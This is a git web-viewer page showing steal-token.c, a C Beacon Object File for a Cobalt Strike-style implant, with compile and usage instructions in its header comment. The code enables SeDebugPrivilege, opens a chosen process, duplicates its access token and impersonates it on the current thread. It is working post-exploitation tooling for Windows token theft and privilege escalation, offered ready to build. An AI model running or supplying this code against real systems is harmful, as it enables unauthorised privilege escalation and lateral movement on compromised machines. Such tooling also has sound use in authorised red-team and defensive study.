etc.git


etc

~ scripts and random things
git clone https://github.com/djnnvx/etc.git
log | files | refs | archive

steal-token.c (4192B)

      1 /*
      2     https://djnn.sh -- usage: inline-execute steal_token_bof.o [pid]
      3     Compile like so:
      4 
      5         x86_64-w64-mingw32-gcc -DBOF -c steal-token.c -o steal_token_bof.o
      6 */
      7 
      8 
      9 #include <windows.h>
     10 #include <stdio.h>
     11 #include "beacon.h"
     12 
     13 
     14 DECLSPEC_IMPORT WINADVAPI BOOL WINAPI LookupPrivilegeValueW(
     15     LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid
     16 );
     17 
     18 DECLSPEC_IMPORT WINADVAPI BOOL WINAPI AdjustTokenPrivileges(
     19     HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD
     20 );
     21 
     22 DECLSPEC_IMPORT WINADVAPI BOOL WINAPI PrivilegeCheck(
     23     HANDLE, PPRIVILEGE_SET, LPBOOL
     24 );
     25 
     26 DECLSPEC_IMPORT WINADVAPI BOOL WINAPI OpenProcessToken(
     27     HANDLE, DWORD, PHANDLE
     28 );
     29 
     30 DECLSPEC_IMPORT WINADVAPI BOOL WINAPI DuplicateTokenEx(
     31     HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE
     32 );
     33 
     34 DECLSPEC_IMPORT WINADVAPI BOOL WINAPI SetThreadToken(
     35     PHANDLE, HANDLE
     36 );
     37 
     38 DECLSPEC_IMPORT BOOL WINAPI GetUserNameA(
     39     LPSTR lpBuffer, LPDWORD pcbBuffer
     40 );
     41 
     42 void go(char * args, int alen) {
     43     datap parser;
     44     DWORD pid = 0;
     45     BeaconDataParse(&parser, args, alen);
     46     pid = BeaconDataInt(&parser);
     47 
     48     HANDLE hProc = NULL, hToken = NULL, hNewToken = NULL;
     49     LUID luid;
     50     char username[256] = {0};
     51     DWORD username_len = sizeof(username);
     52 
     53     // Get SeDebugPrivilege
     54     if (!LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid)) {
     55         BeaconPrintf(CALLBACK_ERROR, "LookupPrivilegeValue failed: %u", GetLastError());
     56         return;
     57     }
     58 
     59     if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
     60         BeaconPrintf(CALLBACK_ERROR, "OpenProcessToken failed: %u", GetLastError());
     61         return;
     62     }
     63 
     64     TOKEN_PRIVILEGES tp = {0};
     65     tp.PrivilegeCount = 1;
     66     tp.Privileges[0].Luid = luid;
     67     tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     68     if (!AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL)) {
     69         BeaconPrintf(CALLBACK_ERROR, "AdjustTokenPrivileges failed: %u", GetLastError());
     70         return;
     71     }
     72 
     73     PRIVILEGE_SET privSet = {0};
     74     privSet.PrivilegeCount = 1;
     75     privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
     76     privSet.Privilege[0].Luid = luid;
     77     privSet.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
     78     BOOL privEnabled = 0;
     79     if (!PrivilegeCheck(hToken, &privSet, &privEnabled)) {
     80         BeaconPrintf(CALLBACK_ERROR, "PrivilegeCheck failed: %u", GetLastError());
     81         return;
     82     }
     83     BeaconPrintf(CALLBACK_OUTPUT, "SeDebugPrivilege is: %s", privEnabled ? "ENABLED" : "DISABLED");
     84 
     85     username_len = sizeof(username);
     86     if (!GetUserNameA(username, &username_len)) {
     87         BeaconPrintf(CALLBACK_ERROR, "GetUserNameA failed: %u", GetLastError());
     88         return;
     89     }
     90     BeaconPrintf(CALLBACK_OUTPUT, "Current Username: %s", username);
     91 
     92     // Open target process
     93     hProc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
     94     if (!hProc) {
     95         BeaconPrintf(CALLBACK_ERROR, "OpenProcess failed: %u", GetLastError());
     96         return;
     97     }
     98 
     99     if (!OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_IMPERSONATE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, &hToken)) {
    100         BeaconPrintf(CALLBACK_ERROR, "OpenProcessToken(target) failed: %u", GetLastError());
    101         CloseHandle(hProc);
    102         return;
    103     }
    104 
    105     if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hNewToken)) {
    106         BeaconPrintf(CALLBACK_ERROR, "DuplicateTokenEx failed: %u", GetLastError());
    107         CloseHandle(hProc);
    108         CloseHandle(hToken);
    109         return;
    110     }
    111 
    112     if (!SetThreadToken(NULL, hNewToken)) {
    113         BeaconPrintf(CALLBACK_ERROR, "SetThreadToken failed: %u", GetLastError());
    114         CloseHandle(hProc);
    115         CloseHandle(hToken);
    116         CloseHandle(hNewToken);
    117         return;
    118     }
    119 
    120     username_len = sizeof(username);
    121     if (!GetUserNameA(username, &username_len)) {
    122         BeaconPrintf(CALLBACK_ERROR, "GetUserNameA(after) failed: %u", GetLastError());
    123         // Still continue to cleanup
    124     }
    125     BeaconPrintf(CALLBACK_OUTPUT, "Username after impersonation: %s", username);
    126 
    127     // Cleanup
    128     if (hProc) CloseHandle(hProc);
    129     if (hToken) CloseHandle(hToken);
    130     if (hNewToken) CloseHandle(hNewToken);
    131 }